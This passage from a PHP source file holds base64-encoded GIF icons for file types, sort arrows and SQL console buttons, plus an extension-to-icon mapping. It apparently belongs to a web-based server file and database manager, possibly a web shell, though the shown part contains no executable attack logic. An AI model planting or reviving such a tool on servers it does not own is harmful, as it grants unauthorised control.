2820"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
2821"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
2822"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
2823"small_unk"=>
2824"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
2825"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
2826"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
2827"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
2828"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
2829"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
2830"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
2831"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
2832"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2833"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2834"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2835"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2836"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2837"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2838"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
2839"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
2840"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
2841"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
2842"yAsokBkQADs=",
2843"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
2844"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
2845"sort_asc"=>
2846"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
2847"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
2848"sort_desc"=>
2849"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
2850"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
2851"sql_button_drop"=>
2852"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2853"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2854"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2855"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2856"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2857"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2858"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2859"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2860"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2861"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2862"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2863"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2864"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2865"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
2866"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
2867"AQEAOw==",
2868"sql_button_empty"=>
2869"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2870"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2871"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2872"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2873"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2874"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2875"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2876"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2877"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2878"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2879"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2880"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2881"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2882"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
2883"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
2884"sql_button_insert"=>
2885"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
2886"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2887"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
2888"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
2889"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
2890"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
2891"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
2892"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
2893"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
2894"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
2895"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
2896"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
2897"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
2898"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
2899"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
2900"up"=>
2901"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
2902"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
2903"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
2904"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
2905"write"=>
2906"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
2907"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
2908"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
2909"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
2910"ext_asp"=>
2911"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
2912"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
2913"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
2914"ext_mp3"=>
2915"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
2916"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
2917"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
2918"ext_avi"=>
2919"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
2920"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
2921"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
2922"ext_cgi"=>
2923"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
2924"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
2925"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
2926"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
2927"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2928"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2929"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2930"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
2931"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
2932"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
2933"RYtMAgEAOw==",
2934"ext_cmd"=>
2935"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
2936"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
2937"dmrYAMn1onq/YKpjvEgAADs=",
2938"ext_cpp"=>
2939"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
2940"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
2941"Eq7YrLDE7a4SADs=",
2942"ext_ini"=>
2943"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
2944
2945"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
2946"SnEjgPVarHEHgrB43JvszsQEADs=",
2947"ext_diz"=>
2948"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
2949"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
2950"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
2951"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
2952"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
2953"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
2954"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
2955"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
2956"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2957"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2958"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2959"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2960"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2961"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
2962"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
2963"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
2964"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
2965"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
2966"Ow==",
2967"ext_doc"=>
2968"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
2969"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
2970"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
2971"ext_exe"=>
2972"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
2973"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
2974"xhIAOw==",
2975"ext_h"=>
2976"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
2977"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
2978"Wq/NknbbSgAAOw==",
2979"ext_hpp"=>
2980"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
2981"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
2982"UqUagnbLdZa+YFcCADs=",
2983"ext_htaccess"=>
2984"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
2985"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
2986"AAA7",
2987"ext_html"=>
2988"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
2989"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
2990"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
2991"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
2992"ADs=",
2993"ext_jpg"=>
2994"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
2995"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
2996"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
2997"FxEAOw==",
2998"ext_js"=>
2999"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
3000"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
3001"a00AjYYBbc/o9HjNniUAADs=",
3002"ext_lnk"=>
3003"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
3004"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
3005"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
3006"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
3007"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
3008"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3009"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3010"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
3011"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
3012"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
3013"ADs=",
3014"ext_log"=>
3015"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
3016"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
3017"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
3018"ext_php"=>
3019"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
3020"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
3021"ext_pl"=>
3022"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
3023"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
3024"ext_swf"=>
3025"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
3026"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
3027"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
3028"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
3029"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
3030"ext_tar"=>
3031"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
3032"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
3033"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
3034"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
3035"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3036"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3037"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3038"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
3039"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
3040"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
3041"u4tLAgEAOw==",
3042"ext_txt"=>
3043"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
3044"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
3045"UpPWG3Ig6Hq/XmRjuZwkAAA7",
3046"ext_wri"=>
3047"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
3048"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
3049"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
3050"ext_xml"=>
3051"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
3052"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
3053"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
3054"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
3055"IQA7"
3056 );
3057 //For simple size- and speed-optimization.
3058 $imgequals = array(
3059 "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
3060 "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
3061 "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
3062 "ext_html"=>array("ext_html","ext_htm"),
3063 "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
3064 "ext_lnk"=>array("ext_lnk","ext_url"),
3065 "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
3066 "ext_doc"=>array("ext_doc","ext_dot"),
3067 "ext_js"=>array("ext_js","ext_vbs"),
3068 "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
